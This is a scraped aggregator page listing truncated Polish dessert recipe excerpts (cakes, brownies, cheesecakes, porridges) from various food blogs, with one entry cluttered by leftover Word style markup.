Karpatka Królewska 375

miękkiego masła ziarenka z laski wanilii (lub cukier z prawdziwą wanilią) łyżka kakao 400 ml śmietany kremówki 30% Polewa czekoladowa: 75 ml śmietany kremówki 30% 75 g czekolady gorzkiej (lub mlecznej) łyżeczka wódki   cukier puder Karpatka Królewska - Sposób przygotowania: Ciasto: Wodę zagotowujemy z masłem, a następnie wsypujemy mąkę i energicznie mieszamy do zgęstnienia masy starając się rozetrzeć wszelkie grudki(...)częścią ciasta.  Całość oprószamy cukrem pudrem.  Ciasto możemy dodatkowo udekorować polewą czekoladową:  Śmietankę podgrzewamy (nie doprowadzamy do wrzenia). Następnie ściągamy z ognia i dodajemy drobno połamaną czekoladę oraz alkohol - mieszamy do momentu otrzymania gładkiej kuwertury. Gdy trochę przestygnie polewamy "zygzakami" wierzch Karpatki. Ciasto po przygotowaniu musi koniecznie spędzić minimum 4 h w lodówce. Karpatka najlepiej smakuje wyciągnięta

Słodka Strona
Ciasteczka z Lukrem - Duchy na Halloween 394

masła łyżka jogurtu natutalnego 2/3 szklanki cukru pudru cukier waniliowy 1/2 łyżeczki proszku do pieczenia Lukier: szklanka cukru pudru 4 łyżki ciepłej wody ok. 20 g gorzkiej czekolady (lub czarnego barwnika) Ciasteczka z Lukrem - Duchy na Halloween - Sposób przygotowania: Masło miksujemy razem z cukrem pudrem oraz cukrem waniliowym. Następnie dodajemy resztę składników i ucieramy do otrzymania gładkiej masy. Ciasto zawijamy(...)ciasteczko maczamy w przygotowanym lukrze i przekładamy na papier do pieczenia lub tackę.  Gdy lukier zastygnie za pomocą długopisu cukierniczego lub drewnianego patyczka malujemy rozpuszczaną w kąpieli wodnej czekoladą oczy i buzie duszków. Moje posty

Słodka Strona
Ciasto Cappuccino (bez pieczenia) 1676

cappuccino (proszku) Masa Śmietanowa: 400 ml mocno schłodzonej kremówki 30% 2 fixy do ubijania śmietany ok. 300-350 g herbatników (miękkich, jeden - 5 g) kakao do posypania wiórki gorzkiej czekolady do posypania (opcjonalnie) Ciasto Cappuccino (bez pieczenia) - Sposób przygotowania: Masa Budyniowa: Do miski odlewamy ok. szklankę mleka i dodajemy budynie oraz mąkę ziemniaczaną - dokładnie mieszamy. Resztę mleka zagotowujemy wraz(...)Ważne: Aby uniknąć "zapadnięcia się ciasta" po dodaniu każdej z mas ciasto powinno trafić na kilkanaście (lub więcej) minut do lodówki. Całość oprószamy kakao.  Możemy również posypać startą czekoladą. Ciasto Cappuccino przed podaniem powinno spędzić ok. 2-3 godziny w lodówce - do zmięknięcia herbatników. Moje posty

Słodka Strona
Brownie & orzechy 202

font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} 200 g czekolady deserowej (my zawsze kupujemy 80%↑) 200 g cukru (my dajemy trzcinowy) /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style(...)family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Masło wraz z czekoladą rozpuszczamy (w tzw. kąpieli wodnej - składniki wkładamy do naczynia, następnie to samo naczynie z naszymi składnikami do kolejnego większego zalanego wodą i w ten sposób podgrzewamy bez ryzyka ich przypalenia

WeAreCrazy
Ciasteczka czekoladowo-owsiane dla świętego Mikołaja 215

lubi mocno czekoladowe i pełne zdrowia ciasteczka, więc na zdrowie! Cykl wypieków słodzonych stewią   Składniki: 1 i 1/2 szkl. mąki pełnoziarnistej 1 szkl. płatków owsianych górskich 100 g czekolady gorzkiej 70% 1 łyżka kakao naturalnego 1 łyżeczka sody 1 łyżeczka przyprawy do piernika 1 łyżeczka cynamonu 3 łyżki stewii w proszku - 3/4 szkl. cukru trzcinowego 1 jajko(...)masła o obniżonej zawartości tłuszczu Szczypta soli Przygotowanie: W dużej misce wymieszać mąkę, płatki, kakao, sodę, przyprawy, stewię/cukier i szczyptę soli. Masło roztopić z czekoladą i przestudzić. Dodać jajko. Połączyć mokre składniki z suchymi. Dokładnie wymieszać. Blaszkę wyłożyć papierem. Formować małe kulki i rozpłaszczać na blaszce. Piec w 170 stopniach przez ok. 15 minut. Wychodzi ok. 2 blaszki dużych

Czarnawisienka
Czekoladowe babeczki z kremem maślanym 129

moje potrawy. Daje mi to wiele radości i chęci do dalszego publikowania nowych przepisów. Dlatego bardzo Wam za to dziękuję. :) Składniki na babeczki (na 16 babeczek) : 100 g gorzkiej czekolady (min. 70 % kakao) 120 g masła w temperaturze pokojowej 2 jajka 3/4 szklanki cukru 3/4 szklanki gęstej kwaśnej śmietany 1 łyżeczka ekstraktu z wanilii 1 szklanka mąki pszennej 1/2 łyżeczki(...)łyżeczki sody oczyszczonej szczypta soli Krem maślany: 200 g miękkiego masła 1,5 szklanki cukru pudru 200 g serka typu Philadelphia czerwony barwnik w proszku lub paście (opcjonalnie) Przygotowanie: Czekoladę rozpuścić w kąpieli wodnej i odstawić do przestudzenia. Masło utrzeć mikserem do białości, a następnie dodawać powoli cukier, cały czas ucierając. Wbić kolejno jajka, każde dokładnie rozprowadzić w masie. Dodać

Food Square
Koreczki owocowe z parowaru 174

sobą :) Składniki : ( na 8 szt koreczków ) 3 kiwi  1 banan 2 kaki  8 winogron zielonych  8 winogron ciemnych  migdały w płatkach  wiórki z czekolady gorzkiej  Przyprawy :  do dań słodkich w młynku ( Przyprawa na bazie kardamonu, skórki cytrynowej, cynamonu, goździków i mięty - See more at: http://www.kamis.pl/Produkty/Specialite/M%C5%82ynki-Specialite/Przyprawa-do-dan-slodkich.aspx#sthash.ph5WB96X.dpuf  kardamon, skórka cytrynowa, cynamon, goździki(...)parowaru, gdyż przy jednym, nie zamknąłbym pokrywki. Włączamy parowar na 5 minut. Po tym czasie, nakładamy na talerz, posypujemy owoce przyprawą do dań słodkich . Obsypujemy migdałami w płatkach i czekoladą w wiórkach, możemy również podać z lodami :) Jak zawsze czekam na wasze komentarze i uwagi. Jeżeli wypróbujesz przepis, z chęcią się dowiem czy Ci smakowało i jak się udało. Pozdrawiam

Parowar Faceta
Obiadowy finał, czyli deser - najlepszy 523

mleka (3,5%) 40 g cukru 1 łyżeczka cukru waniliowego 1 łyżeczka kawy rozpuszczalnej 2 łyżeczki żelatyny 1 łyżka zimnej wody mus czekoladowy: 100 g ciemnej czekolady (80%) 50 ml śmietany kremówki (38%) 1 łyżka cukru pudru 1 łyżeczka miodu 2 jajka dodatkowo: cukrowe serduszka Kremówkę zagotować z mlekiem, cukrem, cukrem waniliowym i kawą. Żelatynę namoczyć w zimnej wodzie. Gotującą(...)się śmietankę zdjąć z ognia, dodać żelatynę, dokładnie wymieszać. Ostudzić. Ostudzoną mieszankę przelać do szklanek (jeśli zrobił się kożuch, wystarcz przelać przez sitko), schłodzić w lodówce przez 1 godzinę. Czekoladę z kremówką, cukrem pudrem i miodem rozpuścić na parze. Wystudzić. Do ostudzonej masy dodać żółtka, dokłądnie wymieszać. Białka ubić na sztywną pianę, partiami dodawać do masy czekoladowej, delikatnie mieszając szpatułką

Pożeraczka, czyli raz adobrze
Kaszka manna na niepogodę 170

kaszka manna Składniki: (na 1 sporą porcję) 200 ml mleka (3,2%) 20 g kaszy manny 2 łyżki cukru 1 łyżka kakao 1/2 łyżeczki proszku do pieczenia dodatkowo: kostka czekolady Mleko zagotować z cukrem i kakao. Wsypać kaszkę, pogotwać kilka minut do lekkiego zgęstnienia, często mieszając. Zdjąć z palnika, odstawić na 5 minut. Po tym czasie dodać proszek do pieczenia(...)miksować na najwyższych obrotach przez 3 minuty. Kaszkę przełożyć do miseczki, udekorować czekoladą. Podawać ciepłe lub schłodzone. Smacznego! Tak w ogóle to chciałam dzisiaj upiec coś czekoladowego (na przykład muffinki albo babeczki, bo ostatnio mam je w głowie bez przerwy - to chyba ta wszechobecna szarość moje myśli ku słodkim drobiazgom kieruje), jednak okazało się, że w domu mąki brak

Pożeraczka, czyli raz adobrze
World Baking Day! 207

waniliowego 1/2 łyżeczki soli 55 g zimnego masła 1 jajko krem: 200 ml mleka 75 g cukru 1 laska wanilii 65 g mąki pszennej 1 jajko 25 g białej czekolady 250 ml śmietany kremówki (38%) dodatkowo: 250 g truskawek listki mięty Mąkę przesiać do miski, wymieszać z cukrem, cukrem waniliowym i solą. Dodać masło, posiekać nożem, a następnie rozetrzeć palcami(...)zmiksować. Partiami wsypywać mąkę, cały czas mieszając. Następnie wlać resztę mleka, połączyć. Masę przełożyć z powrotem do garnka, podgrzewać, aż zgęstnieje, cały czas mieszając. Zdjąć z ognia, dodać posiekaną czekoladę, wymieszać aż do jej rozpuszczenia. Ostudzić. Kremówkę ubić na sztywną pianę, wymieszać delikatnie z kremem. Masę wyłożyć na ostudzony spód, udekorować truskawkami i listkami mięty. Smacznego! Jeśli zapomnieliście o wyjątkowości

Pożeraczka, czyli raz adobrze
Coś na kształt depresji i sernik herbaciany 193

gazetce Pieczenie jest proste , nr 2/2012 wiedziałam, że muszę go zrobić. Po pierwsze, samo zdjęcie mnie oczarowało - jagody delikatnie zatopione w masie serowej, całość przykryta kawałkami ciasteczek z czekoladą, podana na czekoladowym, chrupkim spodzie. Mmm... A kiedy przeczytałam, że do masy sernikowej dodajemy mnóstwo bitej śmietany i mocną herbatę, przepadłam. Kiedy więc w końcu wpadły mi w ręce borówki amerykańskie(...)kremowego 100 g cukru 2 łyżeczki cukru waniliowego sok z 1/2 cytryny 8 listków żelatyny 400 g śmietany kremówki (38%) dodatkowo: 125 g borówek amerykańskich 50 g ciastek z czekoladą Ciastka na spód dokładnie pokruszyć, wymieszać z kakao. Masło rozpuścić, lekko przestudzić i wymieszać z ciastkami. Spód formy wyłożyć papierem do pieczenia, na to wyłożyć ciastka, dokładnie docisnąć palcami

Pożeraczka, czyli raz adobrze
Błyskawiczny tort urodzinowy 208

łyżki limoncello krem na wierzch: 500 ml śmietany kremówki (38%) 30 g cukru pudru 1 łyżeczka ekstraktu z migdałów dodatkowo: 220 g marcepanu 700 g nektarynek 20 g ciemnej czekolady (70%) Biszkopt: Białka ubić na sztywną pianę. Partiami dodawać cukier, nie przerywając miksowania. Po jednym dodawać żółtka, dokładnie miksując po każdym dodaniu. Na końcu partiami wsypywać przesianą mąkę, miksując(...)lodówki. Po tym czasie ubić na sztywną pozostałą kremówkę z cukrem pudrem i ekstraktem. Wyłożyć na wierzch i boki tortu.  Wstawić do lodówki. Przed podaniem udekorować startą czekoladą. Smacznego! Do nasączenia można użyć Amaretto, żeby zintensyfikować migdałowy smak. Biszkopt też można upiec migdałowy - podoba mi się ta opcja bardzo. Kiedy jednak piekłam mój, jeszcze nie wiedziałam, co będzie się

Pożeraczka, czyli raz adobrze
Powrót do przeszłości, czyli sernik urodzinowy 120

3krotnie mielonego 100 ml śmietany kremówki (38%) skórka otarta z 1 cytryny sok z 1 cytryny 150 g cukru 3 jajka 300 g mrożonych malin dodatkowo: 15 g białej czekolady Maliny rozmrozić na talerzu wyłożónym papierem kuchennym. Ciastka dokładnie pokruszyć. Wymieszać z miękkim masłem, dokładnie ugnieść na dnie tortownicy wyłożonej papierem do pieczenia. Wstawić do lodówki na 30 minut. Piec(...)masę serową. Piec w 160 st. C. przez 40 minut. Ostudzić w piekarniku, przy uchylonych drzwiczkach. Przed podaniem wstawić do lodówki na całą noc. Przed podaniem udekorować wierzch startą czekoladą. Smacznego! Jeszcze raptem jeden letni przepis, i obiecuję się poprawić w kwestii sezonowości - będą jabłka, śliwki, gruszki, dynie... I figi. Tak, figi będą z pewnością

Pożeraczka, czyli raz adobrze
Ciasto na Dzień Mamy, nie tylko dla Mamy 321

proszek) masa kawowa: 400 g jogurtu greckiego (10%) 250 ml śmietany kremówki (38%) 40 g cukru pudru 120 ml mocnej zimnej kawy 10 listków żelatyny dodatkowo: 20 g mlecznej czekolady Białka ubić na sztywną pianę, pod koniec ubijania dodając partiami cukier. Po jednym dodać żółtka, dokładnie miksując po każdym dodaniu. Mąkę przesiać z proszkiem i kakao, partiami dodawać do masy(...)Szybko wmieszać ubitą kremówkę (masa szybko tężeje) i wyłożyć masę na truskawki.  Wstawić do lodówki na 1-2 godziny, do całkowitego stężenia. Przed podaniem posypać startą na tarce czekoladą. Smacznego! Przepis na to ciasto znalazłam na blogu Cytrynowa kuchnia i od razu wiedziałam, że będę musiała je upiec. Połączenie kakaowego biszkoptu z niesamowicie truskawkową galaretką i cudownie delikatną warstwą

Pożeraczka, czyli raz adobrze
Czekoladowe muffinki z bezą włoską 156

mąki orkiszowej 30 g kakao 1 łyżeczka proszku do pieczenia 1/8 łyżeczki soli 60 g ciemnego brązowego cukru 1 jajko 150 ml jogurtu naturalnego 45 ml oleju 100 g czekolady mlecznej beza włoska: 2 białka 80 ml wody 220 g cukru 1 łyżeczka cynamonu Mąkę przesiać z kakao, wymieszać z proszkiem, solą i cukrem. Jajko lekko ubić, wymieszać z jogurtem(...)olejem. Wlać mokre składniki do suchych, wymieszać tylko do połączenia składników. Dodać posiekaną czekoladą, wymieszać. Ciasto przełożyć do formy na mini muffiny wyłożonej papilotkami. Piec w 180 st. C. przez 20-25 minut, do suchego patyczka. Ostudzić. Cukier zagotować z wodą i cynamonem. Gdy syrop osiągnie temperaturę 115 st. C. zdjąć z ognia.  Białka ubić niemal na sztywno

Pożeraczka, czyli raz adobrze
Jak straciłam szacunek do samej siebie. I boskie brownie z powidłami, na pocieszenie 192

chciał zabrać część do pracy. Ale można. Przypuszczam, że będzie jeszcze lepsze... Brownie z powidłami i cynamonem Składniki: (na keksówkę 8x22 cm) 125 g masła 100 g ciemnej czekolady (74%) 300 g powideł śliwkowych 100 g cukru 2 jajka 150 g mąki pszennej 1 łyżeczka proszku do pieczenia 1 łyżeczka mielonego cynamonu Masło rozpuścić. Dodać posiekaną czekoladę, wymieszać

Pożeraczka, czyli raz adobrze
Gruszki winno-korzenne w sosie czekoladowym 235

wina półsłodkiego, skórka z 1/2 pomarańczy, kawałek cynamonu, 2 gwiazdki anyżu, miód lub cukier do smaku (ewentualnie), szczypta szafranu lub kurkumy (dla koloru). biały sos z jednej tabliczki białej czekolady (przepis) , ciemny sos z jednej tabliczki gorzkiej czekolady (przepis) .     Przygotowanie: W rondlu zagotować wino z połamanym cynamonem, gwiazdkami anyżu, skórką otartą z pomarańczy i szafranem (lub kurkumą), ewentualnie

SzczyptaSmaQ
Ciasto czekoladowe z masłem orzechowym i suszonymi figami 238

Składniki: Ciasto czekoladowe: 250 g masła 250 g mlecznej czekolady łyżka kawy rozpuszczalnej 180 ml mleka 120 ml jogurtu naturalnego 300 g mąki pszennej 70 g kakao szklanka brązowego cukru 1 łyżeczka sody oczyszczonej 1 łyżeczka proszku do pieczenia 4 jajka 2 łyżki oleju Krem: 250 g mascarpone 200 g masła orzechowego W naczyniu rozpuszczamy masło, czekoladę, mleko i kawę

kuchcikownia
Galaretka z mango 197

Wpis pochodzi z www.mgotuje.pl Wczoraj wymyśliłam bardzo smaczny deser. Zrobiłam domową galaretkę z koncentratu z  mango , którą przełożyłam kremem z serka mascarpone , śmietany kremówki i  czekolady . Galaretka z mango wyszła bardzo smaczna, a dodatek kremu z odrobiną czekolady zbalansował słodko-kwaskowy smak mango. Smakowało wszystkim bez wyjątku (nawet tym którzy nie przepadają

Marta Gotuje
358. 96

owsianka na mleczku kokosowym z białą czekoladą i malinami Czekolada przywieziona z Włoch, uwierzycie, że ta kostka ma 100g?  Kilka dni bez gotowania owsianki i już mi nie wychodzi taka gęsta, no nic przypomnę sobie.  Na wpis o wyjeździe musicie jeszcze trochę poczekać, tysiące zdjęć mnie przerosły. Przy każdym muszę się zatrzymać. Przypomnieć. I uśmiechnąć. Z każdym wiążą

More food, love and dreams
489. Marchewka przemycona w gofrach. 135

Marchewkowe biszkoptowe gofry z czekoladą* * w środku i na zewnątrz  Witamy kolejny dzień spędzony z książką, serialem i gorącą herbatą Dzisiaj o dziwo zdjęcia zgrały się bez problemu o.O Nie wiem o co wczoraj chodziło. Składniki: 45g mąki pełnoziarnistej 15g maki pszennej  1/2 łyżeczki proszku do pieczenia jajko 10g roztopionego masła 60ml mleka 50g startej marchewki(...)tabliczki czekolady + do podania  cynamon coś do posłodzenia aromat waniliowy szczypta soli Białko oddzielam od żółtka i ubijam ze szczyptą soli na sztywną pianę. Mąkę przesiewam i łącze z pozostałymi składnikami w drugiej miseczce. Delikatnie łącze z białkiem. Smarze w nagrzanej i nasmarowanej masłem/ olejem gofrownicy przez kilka minut

More food, love and dreams
561. Marchewka przemycona w owsiance. 136

marchewkowa pieczona owsianka z kruszonką podana z karmelizowaną czekoladą Fajnie jest mieć godzinę później do szkoły.  Nie wiem co lepsze kruszonka, czy rozpuszczona czekolada...  Składniki: 55g płatków owsianych + 70ml wrzątku/mleka jajko 2 spore łyżki jogurtu coś do posłodzenia marchewka starta na drobnych oczkach 1/3 łyżeczki proszku do pieczenia cynamon, aromat 20g mąki żytniej (lub każdej innej

More food, love and dreams
591. Jaglano-owsiany "budyń". 111

Czekoladowy "budyń" jaglano-owsiany z pomarańczą(na dnie też), prażonymi migdałami i startą czekoladą inspiracja Zmęczona. Śpiąca. I z bolącym gardłem. Jeszcze 4 dni szkoły. I jakieś  249802 sprawdzianów przede mną. Bywa, ale potem jaka ulga :3  Ostatnio jakoś się stęskniłam za takimi miseczkowatymi śniadaniami, do głowy mi nagle jakieś 1000 pomysłów na nie przyszło. I jakoś(...)pospać te 10min, bo i tak snu mi ostatnio za mało. Składniki: 30g ugotowanej kaszy jaglanej(waga przed ugotowaniem) 30g płatków owsianych 150ml mleka/wody + do konsystenji 1/4 tabliczki czekolady( u mnie gorzka i mleczna 1:1) łyżka kakao 3-4 daktyle cynamon, sól, aromat migdałowy, ew. coś do posłodzenia Płyny zagotowuję i wsypuję płatki. Przykrywam i gotuję do wchłonięcia

More food, love and dreams
594. W drodze, bananowa jaglanka. 131

Bananowa kasza jaglana z jogurtem naturalnym z mascarpone, suszoną żurawiną, białą czekoladą i prażonymi migdałami  Dzisiaj rano, na szybko,w drodze, bo późno spać poszłam i wstać mi się nie chciało, w słoiku do samochodu, w drugiej ręce z kawą biegłam. Kierunek Warszawa, Wilanów, 25km Orange Warsaw Maraton. Pobawiłam się dzisiaj w wolontariusza. Druga taka moja impreza w ciągu(...)ostatniego roku i stwierdzam, że coś takiego mi się podoba. Trochę mokro, trochę zimno, pełno śmiechu i kartony czekolady. Fajnie było

More food, love and dreams
595. Kakaowo-kawowy. 108

biszkoptowy omlet kakaowo-kawowy z ricottą, sosem wiśniowym i gorzką czekoladą Przez najbliższe kilka dni potrzebuje dużo kawy, czekolady zresztą też.. :P Mądra ja, przypomniałam sobie o dodaniu soli do chleba po wyjęciu go z piekarnika .. Przepis: 2 jajka 25g mąki żytniej 10g kakaa łyżeczka kawy rozpuszczalnej 1/2 łyżeczki proszku do pieczenia 1-2 łyżki mleka coś do posłodzenia

More food, love and dreams
676. Bananowa na mleczku kokosowym. 104

Bananowa owsianka na mleczku kokosowym  z malinami i karmelizowaną czekoladą ( i dużą ilością soli) We wczorajszym zamieszaniu zachciało mi się jeszcze tą czekoladę zrobić, pff... co tam :P Lubię takie wieczory, prawdę powiedziawszy bardziej niż te wszystkie imprezy.. sama nie wiem czemu, czuje się lepiej, pewniej siebie.. Rodzinka przy stole, a "dzieciarnia"(tak, ja też

More food, love and dreams
Mus brzoskwiniowy z kremem mascarpone 241

cytryna 1 łyżka cukru 1 gałązka rozmarynu Krem mascarpone: 250 g serka mascarpone 500 ml śmietanki 36% 2 łyżki cukru pudru Do dekoracji: 50 g gorzkiej czekolady SPOSÓB PRZYGOTOWANIA: Mus brzoskwiniowy: 1. Brzoskwinie obieramy ze skórki, przekrawamy na połówki, wyciągamy pestki, kroimy na mniejsze kawałki. 2. W rondelku na małym ogniu prażymy pokrojone brzoskwinie razem z sokiem wyciśniętym(...)cukru pudru. 3. Za pomocą łyżki łączymy serek z ubitą śmietaną, delikatnie mieszamy. Do pucharków nakładamy odrobinę musu brzoskwiniowego, krem mascarpone, ponownie mus i krem mascarpone. Całość posypujemy startą czekoladą i dekorujemy listkami rozmarynu. Smacznego

W kuchni Katie
PIERNIK POSTNY -BEZ JAJ:) 200

szklanki mąki pszennej szklanka cukru 0,5 szklanki oleju słoik powideł śliwkowych 2 łyżeczki proszku do pieczenia 2 łyżki kakao 2 łyżki miodu przyprawa do piernika gorzka czekolada PRZYGOTOWANIE: Powidła przekładamy do miski, odmierzamy taką samą ilość wody (czyli cały słoik po powidłach). Cały czas mieszając dodajemy pozostałe składniki, mieszamy do momentu aż powstanie jednolita masa. Ciasto wylewamy na blachę(...)wyłożoną papierem do pieczenia. Wstawiamy do piekarnika nagrzanego do 170 stopni C na ok.40 min. Po upieczeniu piernik można przełożyć np. powidłami i polać czekoladą. rrarossa@gmail.com

RAROSSA
Ciasto szachownica "szach- mat" 912

mleka 1 budyń waniliowy 6 łyżeczek żelatyny 0,5 l śmietany kremówki ( ubiłam zwykłą 18 % ze śnieżką light) 3 łyżki cukru pudru kakao do posypania ( starłam dodatkowo czekoladę mleczną) 4 krople aromatu śmietankowego Białka ubić z cukrem na sztywną pianę, następnie dodać żółtka, wodę i olej delikatnie mieszając do połączenia składników. Dosypać porcjami suche składniki przesiane przez sitko. Delikatnie wymieszać(...)odległości ok 1,5 cm a wolne przestrzenie wypełnić kremem, pozostałe paski ulożyć na warstwie kremu i wypełnić nim wolne miejsca. Rozsmarować krem po wierzchu i posypać wierzch startą czekoladą i kakao. Gotowe ciasto schłodzić w lodówce

Ciasta ciastka ciasteczka Słodka chwila zapomnienia
Murzynek na kwaśnym mleku 164

szklana cukru 2 szklanki zsiadłego mleka 3 szklanki maki tortowej 1 kostka margaryny 4 łyżki kakao 1,5 łyżeczki sody  3 łyżki kwaśnego dżemu kilka ząbków pokruszonej czekolady Wykonanie:  Margarynę utrzeć z cukrem, nadal ucierając dodawać jajka. Następnie dodać zsiadłe mleko oraz przesianą mąkę z sodą i kakao. Na koniec dodać dżem, czekoladę i rodzynki. Delikatnie wymieszać. Piec

Ciasta ciastka ciasteczka Słodka chwila zapomnienia
SERNIK W-Z LUB MILKY WAY NA ZIMNO (z mocno czekoladowym biszkoptem bezglutenowym) 230

serka mascarpone, - 3  łyżeczki żelatyny, - pół opakowania cukru wanilinowego, - cukier puder 250-300 cukru pudru, - 100 ml wody, SKŁADNIKI NA POLEWĘ CZEKOLADOWĄ: - 130 ml śmietany 30%, - tabliczka czekolady mlecznej, - 4-5 łyżek słodkiego kakao. DODATKOWO: - owoce np. skórka pomarańczowa i żurawina, WYKONANIE BISZKOPTU: Całe jajka ubić z cukrem.  Wymieszać budynie, mąkę, proszek do pieczenia i kakao, Delikatnie zmiksować(...)moment ubijamy. Obie ubite masy łączymy nadal ubijając i strumyczkiem wlewamy wystudzoną żelatynę. Chwilę ubijamy. Masę serową wstawiamy do lodówki na 2 godziny. WYKONANIE POLEWY: Podgrzewamy śmietanę, wrzucamy pokruszoną czekoladę, dodajemy kakao, trzymamy na ogniu, aż nabierze odpowiedniej konsystencji. Halo! Nie podjadamy!!! :) Na wystudzony dolny blat biszkoptowy wykładamy schłodzoną masę serową. Posypujemy owocami. Nakładamy blat numer 2, oblewamy polewą

Wypisz Wymaluj
Torcik czekoladowo - kawowy 298

śmietany 30% 250 g serka mascarpone 2 op cukru waniliowego Śmietanę ubić z cukrem na sztywną masę , dodać serek i połączyć w jednolitą masę . Dodatkowo : 1 tabliczka gorzkiej czekolady starta na grube wiórki . Do nasączenia biszkoptu ( opcjonalnie ) : 100 ml przegotowanej wody 50 ml wódki 2 łyżki soku z cytryny Układamy warstwami : Nasączony biszkopt Masa capuccino Nasączony biszkopt Masa śmietanowa Starta(...)czekolada  Smacznego :)     Polecam

Malinowa Kawiarenka
Tort czekoladowo kokosowy z bitą śmietaną. 180

śmietaną. Truskawki przełamują biel i dodają pazura temu ciastu. biszkopt czekoladowy: 5 jajek 3/4 szklanki drobnego cukru do wypieków 2/3 szklanki mąki tortowej 1/3 szklanki kakao 50 g gorzkiej czekolady, startej Mąkę i kakao wymieszać, przesiać. Białka oddzielić od żółtek, ubić na sztywną pianę. Pod koniec ubijania dodawać partiami cukier, łyżka po łyżce. Dodawać po kolei żółtka, nadal ubijając.Wsypać(...)przesianą mąkę, kakao i czekoladę. Delikatnie wmieszać do ciasta szpatułką, by piana nie osiadła. Tortownicę o średnicy 23 cm wyłożyć papierem do pieczenia , nie smarować boków. Delikatnie przełożyć ciasto. Piec w temperaturze 160 - 170ºC przez około 35 - 40 minut lub do tzw. suchego patyczka. Gorące ciasto wyjąć z piekarnika,(i tu zaczynamy nowy rozdział swojego życia i zamiast mięsem werbalnie

Malinowe Pocałunki
Moja wariacja 3 bita. 331

paczek herbatników np szkolnych -  puszka masy kajmakowej 400 g -  170 g  masła -  ok 700 ml śmietany 30% -  1 szkl cukru czekolada do dekoracji Wykonanie. W blaszce lub tortownicy układamy herbatniki. Smarujemy je 1/2 puszki masy kajmakowej. Przykrywamy to warstwą herbatników. Z litra mleka odlewamy ok 300 ml i rozrabiamy w tym 4 budynie. Resztę mleka(...)śmietany ubijamy z łyżeczką cukru  (lub bez bo ciasto jest dość słodkie) i odrobiną cukru waniliowego i to jest ostatnia warstwa naszego ciasta. Do dekoracji można użyć startej czekolady.  Polecam i smacznego

Malinowe Pocałunki
Drożdżowe racuszki z sosem czekoladowym i owocami 138

mąki ok 500 ml mleka 4 łyżeczki cukru 50 g masła 2 jajka 2 łyżeczki cukru waniliowego 35 g drożdży olej do smażenia ulubione owoce Sos czekoladowy Tabliczka ulubionej czekolady 50 ml mleka, lub śmietanki kremówki  Rozkruszamy drożdże do kubeczka i zalewamy ok 1/4 szkl ciepłego, ale nie gorącego mleka. Wsypujemy łyżeczkę cukru. Odstawiamy na kilkanaście(...)Pieczemy je na złoty kolor po obu stronach. Zdejmujemy na ręcznik papierowy, aby pozbyć się nadmiaru tłuszczu.  Podajemy ciepłe polane sosem czekoladowym i udekorowane ulubionymi owocami. Sos czekoladowy: Czekoladę łamiemy na małe kawałki. wlewamy mleko lub śmietanę i wszystko razem roztapiamy w mikrofali lub w kąpieli wodnej. Mieszamy dokładnie i gotowe

Malinowe Pocałunki
Wiosenny fiołkowy tort. 166

Idealny na świąteczny stół. Polecam gorąco. Składniki: 5 jaj Farmio 3/4 szkl mąki pszennej 1/4 szkl mąki ziemniaczanej 1/2 szkl cukru 1l śmietany kremówki 30-36% 2 białe czekolady likier fiołkowy sok z cytryny ok 700 ml zimnej przegotowanej wody cukier  barwnik spożywczy świeże fiołki Wykonanie: Białka ubijamy na sztywno, pod koniec dodajemy stopniowo cukier stale ubijając. Następnie(...)części. Do wody dodajemy sporą ilość likieru fiołkowego doprawiamy do smaku sokiem z cytryny i cukrem. Mocno schłodzoną śmietanę ubijamy na sztywno, pod koniec dodajemy roztopione chłodne czekolady. Mieszamy do połączenia się składników. Tort nasączamy przygotowanym fiołkowym ponczem. Przekładamy częścią masy (ok. połowy). Każdą warstwę kremu możemy dodatkowo posypać świeżymi fiołkami. Następnie co zostało dzielimy na części. Do każdej

Malinowe Pocałunki
Pyszne ciasteczka 186

smak i najlepszy na świecie czekoladowy.  Składniki: 250 g mąki pszennej 200 g masła 100g cukru pudru 2 żółtka szczypta soli ziarenka wanilii lub zapach  100 g czekolady deserowej 80 ml śmietany 30% Wykonanie: Do przesianej z cukrem pudrem i solą mąki dodajemy pokrojone w kostkę zimne masło i rozcieramy je palcami. Dodajemy żółtka i szybko zagniatamy ciasto(...)Następnie podsypując mąką wałkujemy dość cienko wycinając ulubione wzory. Pieczemy ułożone na blaszce wyłożonej papierem do pieczenia w temp 180 stopni przez ok 10-15 min. Do lekkiego zezłocenia. Czekoladę siekamy i zalewamy gorącą śmietanką. Mieszamy i błyszczącą masą przekładamy nasze ciasteczka, lub dekorujemy zgodnie z naszymi upodobaniami. I dzięki temu kawa zyskuje nowy pyszny wymiar

Malinowe Pocałunki
Tort z pijaną wiśnią i czekoladą. 164

Składniki: Biszkopt: 5 jaj   3/4 szkl cukru 3/4 szkl mąki pszennej 1/4 szkl mąki ziemniaczanej 0,5 l śmietany kremówki 36% 250 g serka mascarpone 2 ciemne czekolady wiśnie z likieru/nalewki wiśniówka/likier wiśniowy/nalewka ok 300 ml wody 125 g masła (w temp. pokojowej) 400 - 450 g cukru pudru 1 łyżka gorącej wody masa cukrowa kolorowa (barwniki(...)pieczenia (samo dno) i wstawiamy do piekarnika nagrzanego do 160 stopni na ok 40 min. Po wyjęciu z piekarnika studzimy i wyjmujemy z tortownicy. Kroimy na 3 blaty. Czekoladę rozpuszczamy w kąpieli wodnej, lub mikrofali i łączymy z serkiem mascarpone. Śmietanę ubijamy na sztywno i delikatnie mieszamy z czekoladowym serkiem. Zimną przegotowaną wodę łączymy z wiśniówką( do smaku) (likier, nalewka

Malinowe Pocałunki
Królowa czerwca. Pyszna tarta truskawkowa, różana panna cotta, czekoladowy spód z ciastek na oleju rzepakowym. 171

